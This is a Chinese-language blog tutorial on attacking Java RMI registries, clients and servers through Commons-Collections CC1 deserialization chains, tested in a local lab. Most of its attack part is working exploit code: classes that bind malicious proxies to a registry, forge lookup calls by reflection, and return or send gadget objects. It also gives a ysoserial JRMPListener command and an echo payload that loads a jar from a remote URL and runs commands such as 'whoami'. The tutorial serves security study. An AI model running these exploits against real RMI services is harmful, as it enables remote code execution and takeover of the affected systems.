Java安全-RMI的攻击方式

RMI的基本攻击方式

我们知道,利用RMI攻击主要是与反序列化漏洞结合,源代码中调用了readObject方法的抵挡,就有可能被攻击

那么与上一篇RMI基础结合,大致可以分为以下三种攻击方式

  • RMI Client 打 RMI Registry
  • RMI Client 打 RMI Server
  • RMI Client

攻击注册中心

注册中心的交互主要是这一句话

1
registry.bind("remoteObj",obj);

我们在分析源码的时候看到过,与注册中心交互时,可调用的不只着一种方法

这几种方法位于 RegistryImpl_Skel#dispatch 中,如果存在对传入的对象调用 readObject() 方法,则可以利用,dispatch 里面对应关系如下:

  • 0 –> bind
  • 1 –> list
  • 2 –> lookup
  • 3 –> rebind
  • 4 –> unbind

首先是 list 这种攻击,因为除了 list 和 lookup 两个,其余的交互在 8u121 之后都是需要 localhost 的。
但是讲道理,list 的这种攻击比较鸡肋。

使用 list() 方法进行攻击

list() 方法可以列出目标上所有绑定的对象:

在 RMIClient 文件夹里面新建一个新的 Java class,因为我们后续的攻击肯定是从用户的客户端出发,往服务端这里打的。代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.example;

import java.rmi.Naming;
import java.rmi.RemoteException;

public class RegistryListAttack {
public static void main(String[] args) throws Exception{
RemoteObj remoteObj = new RemoteObj() {
@Override
public String sayHello(String keywords) throws RemoteException {
return null;
}
};
String[] s = Naming.list("rmi://127.0.0.1:1099");
System.out.println(s);
}
}

先运行RMI服务器,再运行此文件,可以看到控制台输出

在这里打印出的是绑定对象的信息

因为这里没有 readObject(),所以无法进行反序列化,这样我们的攻击面就太窄了。我们可以跳进 RegistryImpl_Skel#dispatch 看一下,list 对应的是 case1

只有 writeObject(),没有 readObject()

1
2
3
4
5
6
7
8
9
10
11
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();

try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}

实际上是不能算作攻击的

bind 或 rebind 的攻击

我们知道,这两者对应的case分别为0,3

其源码如下,两个方法中都是存在反序列化的,反序列化的东西均为 一个参数名和一个远程对象

这两者的均可以作为反序列化的入口类,若该服务端导入了CC的依赖,我们就可以利用这里的反序列化入口,进行CC链的反序列化攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}

var6.bind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}

var6.rebind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}

这里为了演示,先将CC链的依赖导进来

1
2
3
4
5
6
7
<dependencies>  
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency></dependencies>

这里准备使用CC1链

回忆一下我们的CC1链

原本 CC1 的最后面是 InvocationHandler.readObject(),现在我们要让客户端的 bind() 方法执行 readObject()

但是又因为这里有一个需要注意的点就是调用bind()的时候无法传入AnnotationInvocationHandler类的对象,必须要转为Remote类才行

1
2
InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap); // 将
Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, evalObject));

注:这里的InvocationHandler 是 Java 反射机制的一部分,通常与 动态代理Proxy)一起使用。当你通过反射创建一个代理对象时,这个代理对象需要一个 InvocationHandler 来处理所有方法调用。InvocationHandler 会接管对代理对象的方法调用,然后执行你自定义的处理逻辑

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class AttackRegistryEXP {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
registry.bind("test",remote);
}

public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","drunkbaby");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
return o;
}
}

先运行服务端,再运行此代码,成功弹出计算器

rebind攻击和bind攻击一样,只需要将bind替换为rebind

unbind/lookup攻击

与bind和rebind一样,我们也去查看一下对应的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}

var8 = var6.lookup(var7);

try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}

case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}

var6.unbind(var7);

try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}

可以看到这两个方法都是只能传入字符串的

这里我们可以通过伪造 lookup 连接请求进行利用,修改 lookup 方法代码使其可以传入对象

原先的lookup方法

Registry_Stub#lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
//创建一个新的远程调用
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1); // 将参数写入输出流
} catch (IOException var18) {
throw new MarshalException("序列化参数时出错", var18);
}

super.ref.invoke(var2); // 执行远程调用

Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject(); // 反序列化返回的远程对象
} catch (IOException var15) {
throw new UnmarshalException("反序列化返回值时出错", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("反序列化返回值时出错", var16);
} finally {
super.ref.done(var2); // 完成远程调用的后处理
}

return var23; // 返回远程对象
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("未声明的检查异常", var22);
}
}

重要的代码有以下几条,这里我们重点看传输部分

1
2
3
4
5
6
7
8
9
//传输
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
super.ref.invoke(var2);

//接收
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();

我们需要伪造的是传输中的var2,感觉这个var2类似于数据包的请求头

operations和super.ref是我们需要获取的信息

operations是写好的我们可以直接把这段代码copy过来

1
private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

找一下super.ref

调试一下,获取到ref

利用反射获取到这个ref

1
2
3
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();  
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
  1. registry.getClass()

这返回与 registry 对象关联的 Class 对象,而 registry 是 Registry 的一个实例。

  1. getSuperclass()

getSuperclass() 方法被调用了两次,用来向上查找继承关系。Registry 类(即 java.rmi.registry.Registry 的实现)继承自 java.rmi.server.RemoteServer,而 RemoteServer 又继承自 java.rmi.server.RemoteObject。

第一次调用 getSuperclass() 会从 Registry 类返回到 RemoteServer。

第二次调用会从 RemoteServer 返回到 RemoteObject。

  1. getDeclaredFields()

此方法获取 RemoteObject 类(第二个父类)中声明的所有字段。通常,像 UnicastRef 这样的 RMI 相关字段就会在这里出现。

通过访问 fields_0[0],代码假定 RemoteObject 类中的第一个字段是 UnicastRef,它保存了远程对象的引用。由于该字段通常是私有的,代码通过 setAccessible(true) 来绕过 Java 的访问控制检查

EXP

这个漏洞的触发点实际上是在ref.invoke(var2);代码

invoke函数会调用executeCall()方法,这个方法是真正处理网络请求的方法,这里会执行反序列化的操作,从这里会触发我们构造的反序列化链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));

Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

//获取operations

Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}
public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","drunkbaby");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
return o;
}

顺利弹出计算器

注意

注意这两个poc (bind/rebind和unbind/lookup)只能在 jdk7u71以下的版本才能执行,7u71这个版本也不行,我用的是7u66这个版本的JDK,因为在7u71及以上的版本中AnnotationInvocationHandler的readObject方法中,LazyMap被替换成了LinkedHashMap因此无法触发LazyMap构造的POC,虽然有绕过方法,但是这里只是为了说明RMI的漏洞,所以降低JDK版本即可

攻击客户端

注册中心攻击客户端

对于注册中心来说,我们还是从这几个方法触发:

  • bind
  • unbind
  • rebind
  • list
  • lookup

除了unbindrebind都会返回数据给客户端,返回的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击,这里使用ysoserial的JRMPListener

相当于是重新起了一个恶意的注册中心,这里返回的数据可以受我们控制

1
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'

在客户端运行此代码

1
2
3
4
5
6
7
8
9
10
11
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
public static void main(String[] args) throws RemoteException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list();
}
}

成功弹出计算器

服务端攻击客户端

服务端攻击客户端,大抵可以分为以下两种情景

  1. 服务端返回Object对象
  2. 远程加载对象

服务端返回Object对象

在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以CC1为例:

  • User接口,返回的是Object对象

这个接口需要在服务端和客户端都创建

1
2
3
public interface User extends java.rmi.Remote {
public Object getUser() throws Exception;
}
  • 服务端实现 User 接口,返回 CC1 的恶意 Object 对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.Serializable;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class ServerReturnObject extends UnicastRemoteObject implements User {
public String name;
public int age;

public ServerReturnObject(String name, int age) throws RemoteException {
super();
this.name = name;
this.age = age;
}

public Object getUser() throws Exception {
//
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

return (Object) handler;
}
}
  • 服务端将恶意对象绑定到注册中心
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.rmi.AlreadyBoundException;  
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilClassServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
User liming = new ServerReturnObject("liming",15);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("user",liming);

System.out.println("registry is running...");

System.out.println("liming is bind in registry");
}
}
  • 客户端获取对象并调用 getUser() 方法,将反序列化服务端传来的恶意远程对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.rmi.Naming;  
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// 服务端打客户端,返回 Object 对象
public class EvilClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User)registry.lookup("user");
user.getUser();
}
}

运行一下

顺利弹出计算器

加载远程对象

适用性很低,这里贴出来做一个记录吧,说不定能用上呢

当服务端的某个方法返回的对象是客户端没有的时,客户端可以指定一个URL,此时会通过URL来实例化对象。

**java.rmi.server.codebase:**codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的 CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。

RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的class文件可以使用http://ftp://、file://进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,如果服务端方法的返回值可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,客户端就需要从服务端提供的java.rmi.server.codebaseURL去加载类;对于服务端而言,如果客户端传递的方法参数是远程对象接口方法参数类型的子类,那么服务端需要从客户端提供的java.rmi.server.codebaseURL去加载对应的类。客户端与服务端两边的java.rmi.server.codebaseURL都是互相传递的。无论是客户端还是服务端要远程加载类,都需要满足以下条件:

  1. 由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置java.security.policy,这在后面的利用中可以看到。
  2. 属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

攻击服务端

客户端打服务端

服务端代码

  • jdk版本1.7
  • 使用具有漏洞的Commons-Collections3.1组件
  • RMI提供的数据有Object类型(因为攻击payload就是Object类型)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.rmi.Naming;  
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class VictimServer {
public class RemoteHelloWorld extends UnicastRemoteObject implements RemoteObj {
protected RemoteHelloWorld() throws RemoteException {
super();
}

public String hello() throws RemoteException {
System.out.println("调用了hello方法");
return "Hello world";
}

public void evil(Object obj) throws RemoteException {
System.out.println("调用了evil方法,传递对象为:"+obj);
}

@Override
public String sayHello(String keywords) throws RemoteException {
return null;
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}

public static void main(String[] args) throws Exception {
new VictimServer().start();
}
}

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import Server.IRemoteHelloWorld;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
import Server.IRemoteHelloWorld;

public class RMIClient {
public static void main(String[] args) throws Exception {
IRemoteHelloWorld r = (IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");
r.evil(getpayload());
}

public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}

远程加载服务对象

和上边Server打Client一样利用条件非常苛刻。

参考:https://paper.seebug.org/1091/#serverrmi

RMI的进阶攻击方式

利用URLClassLoader实现回显攻击

攻击注册中心时,注册中心遇到异常会直接把异常发回来,返回给客户端。这里我们利用URLClassLoader加载远程jar,传入服务端,反序列化后调用其方法,在方法内抛出错误,错误会传回客户端

远程demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ErrorBaseExec {

public static void do_exec(String args) throws Exception
{
Process proc = Runtime.getRuntime().exec(args);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e=new Exception(result);
throw e;
}
}

通过如下命令制作成jar包:

这个jar包要放在远程的服务器上

1
2
javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class

客户端POC

还是利用CC1链触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import java.net.URLClassLoader;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class Client2 {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);

return ctor;
}

public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; //注册中心ip
int port = 1099; //注册中心端口
String remotejar = 远程jar;
String command = "whoami";
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new java.net.URL[] { new java.net.URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class,
outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("liming", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}

参考

https://cangqingzhe.github.io/2020/12/17/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/

https://su18.org/post/rmi-attack/

Java反序列化之RMI专题02-RMI的几种攻击方式 | Drunkbaby’s Blog


Java安全-RMI的攻击方式
http://huang-d1.github.io/2025/09/25/Java安全-RMI的基本攻击方式/
作者
huangdi
发布于
2025年9月25日
许可协议